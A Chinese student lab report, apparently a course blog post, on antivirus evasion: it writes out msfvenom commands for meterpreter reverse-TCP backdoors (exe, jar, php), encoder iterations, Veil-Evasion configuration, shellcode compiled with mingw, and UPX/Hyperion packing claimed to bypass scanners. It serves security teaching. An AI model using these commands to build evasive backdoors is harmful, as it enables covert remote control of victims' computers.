2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践
- 实践内容(3.5分)
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2 报告内容:
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
2.2.实践总结与体会
2.3.开启杀软能绝对防止电脑中恶意代码吗?
2.4.实践过程记录
3.报告评分 1分
3.1 报告整体观感 0.5分
3.1.1 报告格式范围,版面整洁 加0.5。
3.1.2 报告排版混乱,加0分。
3.2 文字表述 0.5分
3.2.1报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
3.2.2报告逻辑混乱表述不清或文字有明显抄袭可能 加0分
开始实验
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:

在使用Virscan网站时,如果文件名中有数字就会出现以下错误,需要改名

改名过后Virscan网站的扫描结果如下:

由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.157 LPORT=5308 -f exe > msf20165308.exe

十次编码使用命令:-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.157 LPORT=5308 -f exe > msf5308.exe

将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

可见多次编码并不能对免杀起什么作用。
2. msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.157 LPORT=5308 x> zsy_backdoor_java.jar
生成文件如下所示:

扫描结果如下:

3. msfvenom生成php文件
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.157 LPORT=5308 x> 5308_backdoor.php
生成文件如下所示:

扫描结果如下:

4. 使用veil-evasion生成后门程序及检测
安装veil
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
用sudo apt-get install veil-evasion命令安装Veil
之后用veil打开veil,输入y继续安装直至完成:

输入veil指令,会出现下面这个界面

用use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.157,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 5308

输入generate生成文件,接着输入你想要playload的名字:veil_c_5308

检测一下:

还是一样的会被检查出来。
5. 半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.157 LPORT=5308 -f c用c语言生成一段shellcode;

创建一个文件20165308.c,然后将unsigned char buf[]赋值到其中,代码如下:

使用命令:i686-w64-mingw32-g++ 20165308.c -o 20165308.exe编译这个.c文件为可执行文件;

检测结果如下图:

当想要使用windows上执行该程序时,被电脑的360卫士查杀。

6.加壳尝试一下
使用压缩壳(UPX)
给之前的20165308.exe加个壳得到zsy_upxed.exe:

还是被杀软查杀了。

用360将其加入白名单.

后面想要测试连接就可以这样了,但是这样只是让杀软不再检查这个目录而已。
因为要回连,我将zsy_upxed.exe放到了ncat文件夹,查看连接情况,可以反弹连接(这一步开始就出现问题了,问题会写在实验感想里,可怕的迈克菲!!!!)(所以用了别人的电脑进行剩下的一点实验)


加密壳Hyperion
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v zsy_upxed.exe zsy_upxed_Hyperion.exe进行加壳:


尝试一下反弹连接

检查一下


任务二:通过组合应用各种技术实现恶意代码免杀
通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
任务成功截图:



任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这个实验由于之前说的问题 就是迈克菲那个,没有办法实现连入我的电脑。
免杀基础问题回答
1、杀软是如何检测出恶意代码的?
- 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会更新这个库,以记住更多的恶意代码,当一个可执行文件、脚本等包含这样的数据时就会被认为是恶意代码)。
- 启发式恶意软件检测(就是根据片面特征去进行检测,当某个软件或者程序想干一些看起来像是恶意软件才会去干的事情,那么他就是被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常缺乏精确判定依据,因为需要一直检测,所以开销比较大)(课上那个:当一个鸟像鸭子一样……,那它就是鸭子)。
- 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
2、免杀是做什么?
- 让程序无法被杀软查出来。
3、免杀的基本方法有哪些?
- 改写特征码(加壳)。
- 自己写代码刻意避开恶意代码。
实践总结与体会
本次实验,让我了解到了免杀的概念、免杀的方法(基于课上的讲解之后,更深一步的理解),熟练掌握了使用 VirusTotal、Virscan这些工具的方法,能够对后门动手实现一些免杀的处理,又复习了一遍实验二中主机之间监听、控制的操作,加深了印象,动手能力得到提升了。
问题!
因为迈克菲的原因(太强了,我关不掉他),中途出现了问题(只要后门程序点开就这样,然后自动删掉后门……)

根本没办法进行,然后我看了一下阻止记录

七次崩溃,我真的超爱他,最开始还以为是别的原因,最后发现了罪魁祸首,但我又能怎么样呢。
所以后面的实验有一些是同学电脑做的(所以有部分截图是同学的信息),还有一些自己电脑能够做出来的就用自己电脑做了。(最后VirusTotal检测zsy_upxed_Hyperion.exe的时候,那个显示没有病毒的那个,我甚至怀疑是因为迈克菲成功将中间的恶意部分去掉了,而不是我加壳成功了!)
离实战还缺些什么技术或步骤?
没有自己的想法,还是要看同学博客里的实验方向,然后跟着去做。应该学习更多的理论知识,形成自己的思路体系等,然后能自己规划出属于自己的实验方向。
2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- arcgis api for js 4.4 绘图小工具
目前在4.x API中还未有官方的绘图工具,而实际项目中又需要这样的绘图工具,所以自己写了一个. 奉上代码. 使用方法:1.将引入的API模块传入构造函数 var drawTools = new D ...
- Qt笔记-const-虚函数-元对象系统
const与指针 摘自C++ Primer Plus (第五版) 中文版 const(常量): const变量的地址可以给指向const的指针,但不能指向常规类型的指针: const float a= ...
- 解决getElementsByClassName()在IE8下的兼容问题
getElementsByClassName,这个方法让我们可以通过 class 属性中的类名来访问元素,但是IE9 以下的浏览器不支持 .为解决这个问题,我们写一个兼容函数 getByClass() ...
- MyBatis最原始的实现curd的操作
关于jdbc的缺点: 1.数据库链接创建释放频繁造成系统资源浪费从而影响系统性能.如果使用数据库连接池可以解决此问题. 2.sql语句在代码中硬编码,不利于维护,sql变动需要改变java代码 3.使 ...
- Linux:Gentoo系统的安装笔记(三)
这期笔记将是gentoo安装的最后一期了,虽然已经配置内核了,但是也要完成剩下的安装步骤,这离安装完成已经不远了,继续加油!!! 如果中断了安装,请看第二期的笔记进行恢复安装,但请重新编译一次内核,否 ...
- URL和URL比较
浅谈URI和URL URI(Uniform Resource Identifier)字面上的意思是,统一资源标示符 URL(Uniform Resource Locator),统一资源定位符 光从字面 ...
- 基于ZYNQ的双核启动与通信问题解决
1 处理器间的通信 为AMP 设计创建应用之前,您需要考虑应用如何进行通信(如有需要).最简单的方法是使用片上存储器.Zynq SoC 配备256KB 的片上SRAM,可从以下四个源地址进行访问 ...
- Spring动态获取已注入的对象的方法
1.根据类获取对象 @Autowired ApplicationContext context; GenericMapper<T,String> dao=(GenericMapper< ...
- iOS代码块block使用
代码块的本质是和其他的变量类似,不同的是,代码块存储的数据是一个函数体.使用代码块,你可以像调用其他标准函数一样的调用,可以传入参数,并得到返回值. 脱字符是代码块的语法标记.下图表示代码块的 ...
- ngix请求转发
实际运用中,当我们有对用户隐藏真实url的需求时,可以使用ngix转发. 1.转发所有请求: location / { proxy_pass http://localhost:8080 ; } 2.转 ...